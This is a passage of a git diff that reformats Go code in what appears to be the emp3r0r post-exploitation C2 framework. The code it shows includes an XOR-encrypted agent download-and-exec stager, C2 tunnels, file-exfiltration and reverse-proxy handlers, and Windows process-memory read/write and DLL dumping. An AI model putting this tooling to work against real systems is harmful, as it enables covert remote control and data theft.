 	// receive TCP/UDP packets from local port
diff --git a/core/lib/cc/python_stager.go b/core/lib/cc/python_stager.go
index 356cd22a6..aa27df813 100644
--- a/core/lib/cc/python_stager.go
+++ b/core/lib/cc/python_stager.go
@@ -24,7 +24,7 @@ func python_http_xor_download_exec(agent_bin_path, url string) (ret []byte) {
 		return
 	}
 	enc_bin := tun.XOREncrypt(key, fdata)
-	err = os.WriteFile(fmt.Sprintf("%s.enc", agent_bin_path), enc_bin, 0600)
+	err = os.WriteFile(fmt.Sprintf("%s.enc", agent_bin_path), enc_bin, 0o600)
 	if err != nil {
 		CliPrintError("Saving XOR encryped agent binary: %v", err)
 		return
diff --git a/core/lib/cc/screenshot.go b/core/lib/cc/screenshot.go
index e25b7effc..8c10eab94 100644
--- a/core/lib/cc/screenshot.go
+++ b/core/lib/cc/screenshot.go
@@ -3,7 +3,6 @@
 
 package cc
 
-
 import (
 	"fmt"
 	"os"
diff --git a/core/lib/cc/server.go b/core/lib/cc/server.go
index 7eaf51f6a..e684f7bbc 100644
--- a/core/lib/cc/server.go
+++ b/core/lib/cc/server.go
@@ -34,7 +34,7 @@ import (
 // the same Shadowsocks server on any host that you find convenient
 func ShadowsocksServer() {
 	ctx, cancel := context.WithCancel(context.Background())
-	var ss_config = &ss.SSConfig{
+	ss_config := &ss.SSConfig{
 		ServerAddr:     "0.0.0.0:" + RuntimeConfig.ShadowsocksPort,
 		LocalSocksAddr: "",
 		Cipher:         ss.AEADCipher,
@@ -60,7 +60,7 @@ var (
 // TLSServer start HTTPS server
 func TLSServer() {
 	if _, err := os.Stat(Temp + tun.WWW); os.IsNotExist(err) {
-		err = os.MkdirAll(Temp+tun.WWW, 0700)
+		err = os.MkdirAll(Temp+tun.WWW, 0o700)
 		if err != nil {
 			CliFatalError("TLSServer: %v", err)
 		}
@@ -273,7 +273,7 @@ func (sh *StreamHandler) ftpHandler(wrt http.ResponseWriter, req *http.Request)
 
 	// FileGetDir
 	if !util.IsExist(FileGetDir) {
-		err = os.MkdirAll(FileGetDir, 0700)
+		err = os.MkdirAll(FileGetDir, 0o700)
 		if err != nil {
 			CliPrintError("mkdir -p %s: %v", FileGetDir, err)
 			return
@@ -286,7 +286,7 @@ func (sh *StreamHandler) ftpHandler(wrt http.ResponseWriter, req *http.Request)
 	nowSize := util.FileSize(filewrite)
 
 	// open file for writing
-	f, err := os.OpenFile(filewrite, os.O_APPEND|os.O_WRONLY|os.O_CREATE, 0600)
+	f, err := os.OpenFile(filewrite, os.O_APPEND|os.O_WRONLY|os.O_CREATE, 0o600)
 	if err != nil {
 		CliPrintError("ftpHandler write file: %v", err)
 	}
@@ -590,7 +590,7 @@ func checkinHandler(wrt http.ResponseWriter, req *http.Request) {
 // msgTunHandler JSON message based (C&C) tunnel between agent and cc
 func msgTunHandler(wrt http.ResponseWriter, req *http.Request) {
 	// updated on each successful handshake
-	var last_handshake = time.Now()
+	last_handshake := time.Now()
 
 	// use h2conn
 	conn, err := h2conn.Accept(wrt, req)
diff --git a/core/lib/cc/sftp.go b/core/lib/cc/sftp.go
index 6decead60..6829a6173 100644
--- a/core/lib/cc/sftp.go
+++ b/core/lib/cc/sftp.go
@@ -3,7 +3,6 @@
 
 package cc
 
-
 func OpenFileManager() {
 	err := SSHClient("sftp", "", RuntimeConfig.SSHDShellPort, false)
 	if err != nil {
diff --git a/core/lib/cc/ssh.go b/core/lib/cc/ssh.go
index 71da8eb53..7c20369c1 100644
--- a/core/lib/cc/ssh.go
+++ b/core/lib/cc/ssh.go
@@ -3,7 +3,6 @@
 
 package cc
 
-
 import (
 	"context"
 	"errors"
@@ -26,7 +25,6 @@ var SSHShellPort = make(map[string]string)
 // shell: the executable to run, eg. bash, python
 // port: serve this shell on agent side 127.0.0.1:port
 func SSHClient(shell, args, port string, split bool) (err error) {
-
 	// check if sftp is requested
 	is_sftp := shell == "sftp"
 	ssh_prog := "ssh"
diff --git a/core/lib/cc/suicide.go b/core/lib/cc/suicide.go
index 898eb9554..49b8b8862 100644
--- a/core/lib/cc/suicide.go
+++ b/core/lib/cc/suicide.go
@@ -3,7 +3,6 @@
 
 package cc
 
-
 func Suicide() {
 	SendCmdToCurrentTarget("suicide", "")
 }
diff --git a/core/lib/cc/tmux.go b/core/lib/cc/tmux.go
index 495e7cd1a..452ba4c94 100644
--- a/core/lib/cc/tmux.go
+++ b/core/lib/cc/tmux.go
@@ -3,7 +3,6 @@
 
 package cc
 
-
 import (
 	"errors"
 	"fmt"
@@ -115,8 +114,8 @@ func TmuxInitWindows() (err error) {
 		place_holder,
 		direction,
 		from_pane string,
-		size_percentage int) (pane *Emp3r0rPane, err error) {
-
+		size_percentage int,
+	) (pane *Emp3r0rPane, err error) {
 		// system info of selected agent
 		pane, err = TmuxNewPane(title, direction, from_pane, size_percentage, cat)
 		if err != nil {
@@ -265,7 +264,7 @@ func (pane *Emp3r0rPane) Printf(clear bool, format string, a ...interface{}) {
 	}
 
 	// print msg
-	err := os.WriteFile(pane.TTY, []byte(msg), 0777)
+	err := os.WriteFile(pane.TTY, []byte(msg), 0o777)
 	if err != nil {
 		CliPrintWarning("Cannot print on tmux window %s (%s): %v,\n"+
 			"printing to main window instead.\n\n",
@@ -306,8 +305,8 @@ func (pane *Emp3r0rPane) PaneDetails() (
 	pid int,
 	cmd string,
 	width int,
-	height int) {
-
+	height int,
+) {
 	if pane.ID == "" {
 		return
 	}
diff --git a/core/lib/cc/util.go b/core/lib/cc/util.go
index 161d0e81e..20ad78ec1 100644
--- a/core/lib/cc/util.go
+++ b/core/lib/cc/util.go
@@ -3,7 +3,6 @@
 
 package cc
 
-
 import (
 	"errors"
 	"fmt"
diff --git a/core/lib/ss/tcp.go b/core/lib/ss/tcp.go
index 584b567ab..6b1a3cd49 100644
--- a/core/lib/ss/tcp.go
+++ b/core/lib/ss/tcp.go
@@ -15,7 +15,8 @@ import (
 
 // Create a SOCKS server listening on addr and proxy to server.
 func socksLocal(addr, server string, shadow func(net.Conn) net.Conn,
-	ctx context.Context, cancel context.CancelFunc) {
+	ctx context.Context, cancel context.CancelFunc,
+) {
 	logf("Shadowsocks local SOCKS proxy %s <-> %s", addr, server)
 	tcpLocal(addr, server, shadow,
 		func(c net.Conn) (socks.Addr, error) { return socks.Handshake(c) },
@@ -25,7 +26,8 @@ func socksLocal(addr, server string, shadow func(net.Conn) net.Conn,
 // Listen on addr and proxy to server to reach target from getAddr.
 func tcpLocal(addr, server string,
 	shadow func(net.Conn) net.Conn, getAddr func(net.Conn) (socks.Addr, error),
-	ctx context.Context, cancel context.CancelFunc) {
+	ctx context.Context, cancel context.CancelFunc,
+) {
 	l, err := net.Listen("tcp", addr)
 	if err != nil {
 		logf("failed to listen on %s: %v", addr, err)
@@ -89,7 +91,8 @@ func tcpLocal(addr, server string,
 
 // Listen on addr for incoming connections.
 func tcpRemote(addr string, shadow func(net.Conn) net.Conn,
-	ctx context.Context, cancel context.CancelFunc) {
+	ctx context.Context, cancel context.CancelFunc,
+) {
 	l, err := net.Listen("tcp", addr)
 	if err != nil {
 		logf("failed to listen on %s: %v", addr, err)
@@ -143,7 +146,7 @@ func tcpRemote(addr string, shadow func(net.Conn) net.Conn,
 func relay(left, right net.Conn) error {
 	var err, err1 error
 	var wg sync.WaitGroup
-	var wait = 5 * time.Second
+	wait := 5 * time.Second
 	wg.Add(1)
 	go func() {
 		defer wg.Done()
diff --git a/core/lib/tun/certs.go b/core/lib/tun/certs.go
index 4fc1497e2..68c1d93f1 100644
--- a/core/lib/tun/certs.go
+++ b/core/lib/tun/certs.go
@@ -28,10 +28,8 @@ const (
 	CA_KEY_FILE  = "ca-key.pem"
 )
 
-var (
-	// PEM encoded server public key
-	ServerPubKey string
-)
+// PEM encoded server public key
+var ServerPubKey string
 
 func publicKey(priv interface{}) interface{} {
 	switch k := priv.(type) {
@@ -67,7 +65,8 @@ func pemBlockForKey(priv interface{}) *pem.Block {
 func GenCerts(
 	hosts []string,
 	outname string,
-	isCA bool) ([]byte, error) {
+	isCA bool,
+) ([]byte, error) {
 	priv, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
 	if err != nil {
 		return nil, fmt.Errorf("GenerateKey: %v", err)
@@ -141,7 +140,7 @@ func GenCerts(
 	outkey := fmt.Sprintf("%s-key.pem", outname)
 	// cert
 	pem.Encode(out, &pem.Block{Type: "CERTIFICATE", Bytes: derBytes})
-	err = os.WriteFile(outcert, out.Bytes(), 0600)
+	err = os.WriteFile(outcert, out.Bytes(), 0o600)
 	if err != nil {
 		return nil, fmt.Errorf("write %s: %v", outcert, err)
 	}
@@ -149,7 +148,7 @@ func GenCerts(
 
 	// key
 	pem.Encode(out, pemBlockForKey(priv))
-	err = os.WriteFile(outkey, out.Bytes(), 0600)
+	err = os.WriteFile(outkey, out.Bytes(), 0o600)
 	if err != nil {
 		return nil, fmt.Errorf("write %s: %v", outkey, err)
 	}
diff --git a/core/lib/tun/proxy.go b/core/lib/tun/proxy.go
index da9981145..ac8b02f29 100644
--- a/core/lib/tun/proxy.go
+++ b/core/lib/tun/proxy.go
@@ -91,8 +91,8 @@ func TCPFwd(addr, port string, ctx context.Context, cancel context.CancelFunc) (
 
 // FwdToDport forward request to agent-side destination, h2 <-> tcp/udp
 func FwdToDport(ctx context.Context, cancel context.CancelFunc,
-	to, sessionID, protocol string, h2 *h2conn.Conn, timeout int) {
-
+	to, sessionID, protocol string, h2 *h2conn.Conn, timeout int,
+) {
 	var err error
 
 	// connect to target port
diff --git a/core/lib/tun/sshproxy.go b/core/lib/tun/sshproxy.go
index d3418510f..0e20f2a67 100644
--- a/core/lib/tun/sshproxy.go
+++ b/core/lib/tun/sshproxy.go
@@ -62,7 +62,8 @@ func SSHRemoteFwdServer(port, password string, hostkey []byte) (err error) {
 func SSHReverseProxyClient(ssh_serverAddr, password string,
 	reverseConns *map[string]context.CancelFunc,
 	socks5proxy *socks5.Server,
-	ctx context.Context, cancel context.CancelFunc) (err error) {
+	ctx context.Context, cancel context.CancelFunc,
+) (err error) {
 	// calculate ProxyPort
 	serverPort, err := strconv.Atoi(strings.Split(ssh_serverAddr, ":")[1])
 	// this is the reverseProxyPort
@@ -91,7 +92,8 @@ func SSHRemoteFwdClient(ssh_serverAddr, password string,
 	hostkey ssh.PublicKey, // ssh server public key
 	local_port int, // local port to forward to remote
 	conns *map[string]context.CancelFunc, // record this connection
-	ctx context.Context, cancel context.CancelFunc) (err error) {
+	ctx context.Context, cancel context.CancelFunc,
+) (err error) {
 	hostkey_callback := ssh.InsecureIgnoreHostKey()
 	if hostkey != nil {
 		hostkey_callback = ssh.FixedHostKey(hostkey)
diff --git a/core/lib/tun/tls.go b/core/lib/tun/tls.go
index 6d0e2ff33..052cbaf3f 100644
--- a/core/lib/tun/tls.go
+++ b/core/lib/tun/tls.go
@@ -10,13 +10,10 @@ import (
 	utls "github.com/refraction-networking/utls"
 )
 
-var (
-
-	// CACrt for TLS server cert signing
-	CACrt = []byte(`
+// CACrt for TLS server cert signing
+var CACrt = []byte(`
 [emp3r0r_ca]
 		`)
-)
 
 // EmpHTTPClient add our CA to trusted CAs, while keeps TLS InsecureVerify on
 func EmpHTTPClient(c2_addr, proxyServer string) *http.Client {
diff --git a/core/lib/util/dll_windows.go b/core/lib/util/dll_windows.go
index ae352620c..891169aab 100644
--- a/core/lib/util/dll_windows.go
+++ b/core/lib/util/dll_windows.go
@@ -1,78 +1,78 @@
-//go:build windows
-// +build windows
-
-package util
-
-import (
-	"fmt"
-	"log"
-	"unsafe"
-
-	"golang.org/x/sys/windows"
-)
-
-func IsRunningInDLL() bool {
-	modHandle, _, _ := procGetModuleHandle.Call(0)
-	return modHandle != 0
-}
-
-func ReadDLL(moduleInfo *windows.ModuleInfo, fileName string) (dll_data []byte, err error) {
-	// Allocate a buffer to hold the DLL content
-	dllContent := make([]byte, moduleInfo.SizeOfImage)
-
-	// Read the content of the DLL from memory
-	var bytes_read uintptr
-	err = windows.ReadProcessMemory(windows.CurrentProcess(), moduleInfo.BaseOfDll, &dllContent[0],
-		uintptr(moduleInfo.SizeOfImage), &bytes_read)
-	if err != nil {
-		err = fmt.Errorf("failed to get module info of %s: %v", fileName, err)
-		return
-	}
-	dll_data = dllContent
-	return
-}
-
-// Enum all DLLs and get their handles
-func GetAllDLLs() (modules map[string]*windows.ModuleInfo, err error) {
-	modules = make(map[string]*windows.ModuleInfo, 0)
-
-	// Open a handle to the current process
-	processHandle := windows.CurrentProcess()
-
-	// Enumerate the modules (DLLs) loaded in the current process
-	var moduleHandles = make([]windows.Handle, 1024)
-	var neededBytes uint32
-	err = windows.EnumProcessModules(processHandle, &moduleHandles[0], 1024, &neededBytes)
-	if err != nil {
-		err = fmt.Errorf("enum modules: %v", err)
-		return
-	}
-
-	// Calculate the number of modules
-	numModules := int(neededBytes / uint32(unsafe.Sizeof(moduleHandles[0])))
-
-	// Print the file names of the loaded DLLs
-	for i := 0; i < numModules; i++ {
-		// Get the file name of the DLL
-		var fname16 = make([]uint16, windows.MAX_PATH)
-		_, err = windows.GetModuleFileName(moduleHandles[i], &fname16[0], windows.MAX_PATH)
-		if err != nil {
-			log.Printf("get module file name: %v", err)
-			continue
-		}
-		// Convert the UTF-16 encoded file name to a Go string
-		fileName := windows.UTF16ToString(fname16)
-
-		// get module info
-		modinfo := new(windows.ModuleInfo)
-		cb := uint32(unsafe.Sizeof(*modinfo))
-		err = windows.GetModuleInformation(processHandle, moduleHandles[i], modinfo, cb)
-		if err != nil {
-			log.Printf("get modinfo of %s: %v", fileName, err)
-			continue
-		}
-		modules[fileName] = modinfo
-	}
-
-	return
-}
+//go:build windows
+// +build windows
+
+package util
+
+import (
+	"fmt"
+	"log"
+	"unsafe"
+
+	"golang.org/x/sys/windows"
+)
+
+func IsRunningInDLL() bool {
+	modHandle, _, _ := procGetModuleHandle.Call(0)
+	return modHandle != 0
+}
+
+func ReadDLL(moduleInfo *windows.ModuleInfo, fileName string) (dll_data []byte, err error) {
+	// Allocate a buffer to hold the DLL content
+	dllContent := make([]byte, moduleInfo.SizeOfImage)
+
+	// Read the content of the DLL from memory
+	var bytes_read uintptr
+	err = windows.ReadProcessMemory(windows.CurrentProcess(), moduleInfo.BaseOfDll, &dllContent[0],
+		uintptr(moduleInfo.SizeOfImage), &bytes_read)
+	if err != nil {
+		err = fmt.Errorf("failed to get module info of %s: %v", fileName, err)
+		return
+	}
+	dll_data = dllContent
+	return
+}
+
+// Enum all DLLs and get their handles
+func GetAllDLLs() (modules map[string]*windows.ModuleInfo, err error) {
+	modules = make(map[string]*windows.ModuleInfo, 0)
+
+	// Open a handle to the current process
+	processHandle := windows.CurrentProcess()
+
+	// Enumerate the modules (DLLs) loaded in the current process
+	moduleHandles := make([]windows.Handle, 1024)
+	var neededBytes uint32
+	err = windows.EnumProcessModules(processHandle, &moduleHandles[0], 1024, &neededBytes)
+	if err != nil {
+		err = fmt.Errorf("enum modules: %v", err)
+		return
+	}
+
+	// Calculate the number of modules
+	numModules := int(neededBytes / uint32(unsafe.Sizeof(moduleHandles[0])))
+
+	// Print the file names of the loaded DLLs
+	for i := 0; i < numModules; i++ {
+		// Get the file name of the DLL
+		fname16 := make([]uint16, windows.MAX_PATH)
+		_, err = windows.GetModuleFileName(moduleHandles[i], &fname16[0], windows.MAX_PATH)
+		if err != nil {
+			log.Printf("get module file name: %v", err)
+			continue
+		}
+		// Convert the UTF-16 encoded file name to a Go string
+		fileName := windows.UTF16ToString(fname16)
+
+		// get module info
+		modinfo := new(windows.ModuleInfo)
+		cb := uint32(unsafe.Sizeof(*modinfo))
+		err = windows.GetModuleInformation(processHandle, moduleHandles[i], modinfo, cb)
+		if err != nil {
+			log.Printf("get modinfo of %s: %v", fileName, err)
+			continue
+		}
+		modules[fileName] = modinfo
+	}
+
+	return
+}
diff --git a/core/lib/util/file.go b/core/lib/util/file.go
index e644d01bf..9d4d119d9 100644
--- a/core/lib/util/file.go
+++ b/core/lib/util/file.go
@@ -143,7 +143,7 @@ func IntArrayToStringArray(arr []int) []string {
 
 // AppendToFile append bytes to a file
 func AppendToFile(filename string, data []byte) (err error) {
-	f, err := os.OpenFile(filename, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0600)
+	f, err := os.OpenFile(filename, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0o600)
 	if err != nil {
 		return
 	}
@@ -157,7 +157,7 @@ func AppendToFile(filename string, data []byte) (err error) {
 
 // AppendTextToFile append text to a file
 func AppendTextToFile(filename string, text string) (err error) {
-	f, err := os.OpenFile(filename, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0600)
+	f, err := os.OpenFile(filename, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0o600)
 	if err != nil {
 		return
 	}
@@ -211,7 +211,7 @@ func Copy(src, dst string) error {
 		}
 	}
 
-	return os.WriteFile(dst, in, 0755)
+	return os.WriteFile(dst, in, 0o755)
 }
 
 // FileBaseName /path/to/foo -> foo
@@ -303,7 +303,7 @@ func ReplaceBytesInFile(path string, old []byte, replace_with []byte) (err error
 	}
 
 	to_write := bytes.ReplaceAll(file_bytes, old, replace_with)
-	return os.WriteFile(path, to_write, 0644)
+	return os.WriteFile(path, to_write, 0o644)
 }
 
 // FindHolesInBinary find holes in a binary file that are big enough for a payload
diff --git a/core/lib/util/mem_windows.go b/core/lib/util/mem_windows.go
index 7cb64202c..80cb8a75f 100644
--- a/core/lib/util/mem_windows.go
+++ b/core/lib/util/mem_windows.go
@@ -1,140 +1,140 @@
-//go:build windows
-// +build windows
-
-package util
-
-import (
-	"log"
-	"syscall"
-	"unsafe"
-)
-
-var (
-	kernel32 = syscall.NewLazyDLL("kernel32.dll")
-	psapi    = syscall.NewLazyDLL("Psapi.dll")
-
-	procOpenProcess        = kernel32.NewProc("OpenProcess")
-	procReadProcessMemory  = kernel32.NewProc("ReadProcessMemory")
-	procWriteProcessMemory = kernel32.NewProc("WriteProcessMemory")
-	procVirtualQuery       = kernel32.NewProc("VirtualQuery")
-	procGetModuleFileName  = kernel32.NewProc("GetModuleFileNameW")
-	procGetModuleHandle    = kernel32.NewProc("GetModuleHandleW")
-	procEnumProcessModules = psapi.NewProc("EnumProcessModulesEx")
-)
-
-const PROCESS_ALL_ACCESS = 0x1F0FFF
-
-func OpenProcess(pid int) uintptr {
-	handle, _, _ := procOpenProcess.Call(uintptr(PROCESS_ALL_ACCESS), uintptr(1), uintptr(pid))
-	return handle
-}
-
-func read_mem(hProcess uintptr, address, size uintptr) []byte {
-	var data = make([]byte, size)
-	var length uint32
-
-	procReadProcessMemory.Call(hProcess, address,
-		uintptr(unsafe.Pointer(&data[0])),
-		size, uintptr(unsafe.Pointer(&length)))
-
-	return data
-}
-
-const (
-	MEM_COMMIT  = 0x1000
-	MEM_RESERVE = 0x2000
-	MEM_FREE    = 0x10000
-)
-
-type MEMORY_BASIC_INFORMATION struct {
-	BaseAddress       uintptr
-	AllocationBase    uintptr
-	AllocationProtect uint32
-	RegionSize        uintptr
-	State             uint32
-	Protect           uint32
-	Type              uint32
-}
-
-func read_self_mem(hProcess uintptr) (mem_data [][]byte, bytes_read int, err error) {
-	// Start with an initial address of 0
-	address := uintptr(0)
-
-	// Loop through the memory regions and print information
-	for {
-		var mbi MEMORY_BASIC_INFORMATION
-		ret, _, _ := procVirtualQuery.Call(address, uintptr(unsafe.Pointer(&mbi)), unsafe.Sizeof(mbi))
-
-		// Check for the end of the memory regions
-		if ret == 0 {
-			break
-		}
-
-		// Move to the next memory region
-		address += mbi.RegionSize
-
-		// Print information about the memory region
-		// log.Printf("BaseAddress: 0x%x, RegionSize: 0x%x, State: %d, Protect: %d, Type: %d\n",
-		// 	mbi.BaseAddress, mbi.RegionSize, mbi.State, mbi.Protect, mbi.Type)
-
-		// if memory is not committed or is read-only, skip it
-		readable := mbi.State == MEM_COMMIT && mbi.Protect&syscall.PAGE_READONLY != 0
-		if !readable {
-			continue
-		}
-
-		// read data from this region
-		data_read := read_mem(hProcess, mbi.BaseAddress, mbi.RegionSize)
-		bytes_read += len(data_read)
-		mem_data = append(mem_data, data_read)
-	}
-
-	return
-}
-
-func write_mem(hProcess uintptr, lpBaseAddress, lpBuffer, nSize uintptr) (int, bool) {
-	var nBytesWritten int
-	ret, _, _ := procWriteProcessMemory.Call(
-		uintptr(hProcess),
-		lpBaseAddress,
-		lpBuffer,
-		nSize,
-		uintptr(unsafe.Pointer(&nBytesWritten)),
-	)
-
-	return nBytesWritten, ret != 0
-}
-
-func getBaseAddress(handle uintptr) uintptr {
-	modules := [1024]uint64{}
-	var needed uintptr
-	procEnumProcessModules.Call(
-		handle,
-		uintptr(unsafe.Pointer(&modules)),
-		uintptr(1024),
-		uintptr(unsafe.Pointer(&needed)),
-		uintptr(0x03),
-	)
-	for i := uintptr(0); i < needed/unsafe.Sizeof(modules[0]); i++ {
-		if i == 0 {
-			return uintptr(modules[i])
-		}
-	}
-	return 0
-}
-
-func crossPlatformDumpSelfMem() (mem_data [][]byte, err error) {
-	dlls, err := GetAllDLLs()
-	if err != nil {
-		return
-	}
-	for fileName, dll := range dlls {
-		dll_data, err := ReadDLL(dll, fileName)
-		if err != nil {
-			log.Printf("reading DLL %s: %v", fileName, err)
-			continue
-		}
-		mem_data = append(mem_data, dll_data)
-	}
-	return mem_data, err
-}
+//go:build windows
+// +build windows
+
+package util
+
+import (
+	"log"
+	"syscall"
+	"unsafe"
+)
+
+var (
+	kernel32 = syscall.NewLazyDLL("kernel32.dll")
+	psapi    = syscall.NewLazyDLL("Psapi.dll")
+
+	procOpenProcess        = kernel32.NewProc("OpenProcess")
+	procReadProcessMemory  = kernel32.NewProc("ReadProcessMemory")
+	procWriteProcessMemory = kernel32.NewProc("WriteProcessMemory")
+	procVirtualQuery       = kernel32.NewProc("VirtualQuery")
+	procGetModuleFileName  = kernel32.NewProc("GetModuleFileNameW")
+	procGetModuleHandle    = kernel32.NewProc("GetModuleHandleW")
+	procEnumProcessModules = psapi.NewProc("EnumProcessModulesEx")
+)
+
+const PROCESS_ALL_ACCESS = 0x1F0FFF
+
+func OpenProcess(pid int) uintptr {
+	handle, _, _ := procOpenProcess.Call(uintptr(PROCESS_ALL_ACCESS), uintptr(1), uintptr(pid))
+	return handle
+}
+
+func read_mem(hProcess uintptr, address, size uintptr) []byte {
+	data := make([]byte, size)
+	var length uint32
+
+	procReadProcessMemory.Call(hProcess, address,
+		uintptr(unsafe.Pointer(&data[0])),
+		size, uintptr(unsafe.Pointer(&length)))
+
+	return data
+}
+
+const (
+	MEM_COMMIT  = 0x1000
+	MEM_RESERVE = 0x2000
+	MEM_FREE    = 0x10000
+)
+
+type MEMORY_BASIC_INFORMATION struct {
+	BaseAddress       uintptr
+	AllocationBase    uintptr
+	AllocationProtect uint32
+	RegionSize        uintptr
+	State             uint32
+	Protect           uint32
+	Type              uint32
+}
+
+func read_self_mem(hProcess uintptr) (mem_data [][]byte, bytes_read int, err error) {
+	// Start with an initial address of 0
+	address := uintptr(0)
+
+	// Loop through the memory regions and print information
+	for {
+		var mbi MEMORY_BASIC_INFORMATION
+		ret, _, _ := procVirtualQuery.Call(address, uintptr(unsafe.Pointer(&mbi)), unsafe.Sizeof(mbi))
+
+		// Check for the end of the memory regions
+		if ret == 0 {
+			break
+		}
+
+		// Move to the next memory region
+		address += mbi.RegionSize
+
+		// Print information about the memory region
+		// log.Printf("BaseAddress: 0x%x, RegionSize: 0x%x, State: %d, Protect: %d, Type: %d\n",
+		// 	mbi.BaseAddress, mbi.RegionSize, mbi.State, mbi.Protect, mbi.Type)
+
+		// if memory is not committed or is read-only, skip it
+		readable := mbi.State == MEM_COMMIT && mbi.Protect&syscall.PAGE_READONLY != 0
+		if !readable {
+			continue
+		}
+
+		// read data from this region
+		data_read := read_mem(hProcess, mbi.BaseAddress, mbi.RegionSize)
+		bytes_read += len(data_read)
+		mem_data = append(mem_data, data_read)
+	}
+
+	return
+}
+
+func write_mem(hProcess uintptr, lpBaseAddress, lpBuffer, nSize uintptr) (int, bool) {
+	var nBytesWritten int
+	ret, _, _ := procWriteProcessMemory.Call(
+		uintptr(hProcess),
+		lpBaseAddress,
+		lpBuffer,
+		nSize,
+		uintptr(unsafe.Pointer(&nBytesWritten)),
+	)
+
+	return nBytesWritten, ret != 0
+}
+
+func getBaseAddress(handle uintptr) uintptr {
+	modules := [1024]uint64{}
+	var needed uintptr
+	procEnumProcessModules.Call(
+		handle,
+		uintptr(unsafe.Pointer(&modules)),
+		uintptr(1024),
+		uintptr(unsafe.Pointer(&needed)),
+		uintptr(0x03),
+	)
+	for i := uintptr(0); i < needed/unsafe.Sizeof(modules[0]); i++ {
+		if i == 0 {
+			return uintptr(modules[i])
+		}
+	}
+	return 0
+}
+
+func crossPlatformDumpSelfMem() (mem_data [][]byte, err error) {
+	dlls, err := GetAllDLLs()
+	if err != nil {
+		return
+	}
+	for fileName, dll := range dlls {
+		dll_data, err := ReadDLL(dll, fileName)
+		if err != nil {
+			log.Printf("reading DLL %s: %v", fileName, err)
+			continue
+		}
+		mem_data = append(mem_data, dll_data)
+	}
+	return mem_data, err
+}
diff --git a/core/lib/util/proc.go b/core/lib/util/proc.go
index 2b16c6f1b..2eaa39429 100644
--- a/core/lib/util/proc.go
+++ b/core/lib/util/proc.go
@@ -110,7 +110,6 @@ func ProcCmdline(pid int) string {
 		return "dead_process"
 	}
 	cmdline, err := proc.Cmdline()
-
 	if err != nil {
 		return fmt.Sprintf("err_%v", err)
 	}
diff --git a/core/lib/util/str.go b/core/lib/util/str.go
index 213cb00a3..192fa3832 100644
--- a/core/lib/util/str.go
+++ b/core/lib/util/str.go
@@ -111,7 +111,7 @@ func RandInt(min, max int) int {
 
 // RandStr random string
 func RandStr(n int) string {
-	var letters = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ")
+	letters := []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ")
 	rand.Seed(int64(RandInt(0xff, math.MaxInt)))
 	b := make([]rune, n)
 	for i := range b {
@@ -147,7 +147,7 @@ func HexEncode(s string) (result string) {
 }
 
 func LogFilePrintf(filepath, format string, v ...any) {
-	logf, err := os.OpenFile(filepath, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0600)
+	logf, err := os.OpenFile(filepath, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0o600)
 	defer logf.Close()
 	if err != nil {
 		log.Printf("LogFilePrintf: %v", err)